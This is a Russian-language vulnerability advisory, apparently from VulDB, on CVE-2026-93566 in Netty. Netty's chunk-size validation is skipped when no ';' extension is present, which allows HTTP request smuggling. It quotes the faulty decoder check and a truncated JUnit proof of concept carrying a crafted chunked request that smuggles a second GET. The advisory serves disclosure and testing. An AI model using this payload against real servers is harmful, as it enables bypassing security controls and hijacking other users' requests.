CVE-2026-93566 in Netty
Сводка
по VulDB • 18.09.2026
### Резюме Netty пропускает строгую проверку размера чанка для строки заголовка, если в ней отсутствует расширение чанка (`;`), поэтому строка с размером чанка, содержащая встроенный символ CR (например, `0\rX`), принимается вместо отклонения, что позволяет осуществлять HTTP-запросное скрытие (HTTP request smuggling).
### Подробности Метод `io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions` запускает строгий валидатор `HttpChunkLineValidatingByteProcessor` только при наличии символа `;`:
```java int extensionsStart = line.bytesBefore((byte) ';'); if (extensionsStart == -1) {
return; } ```
Согласно RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A:
`chunk-size = 1*HEXDIG`
### PoC
```java @Test public void test() {
String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "0\rX\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch
If you want to get best quality of vulnerability data, you may have to visit VulDB.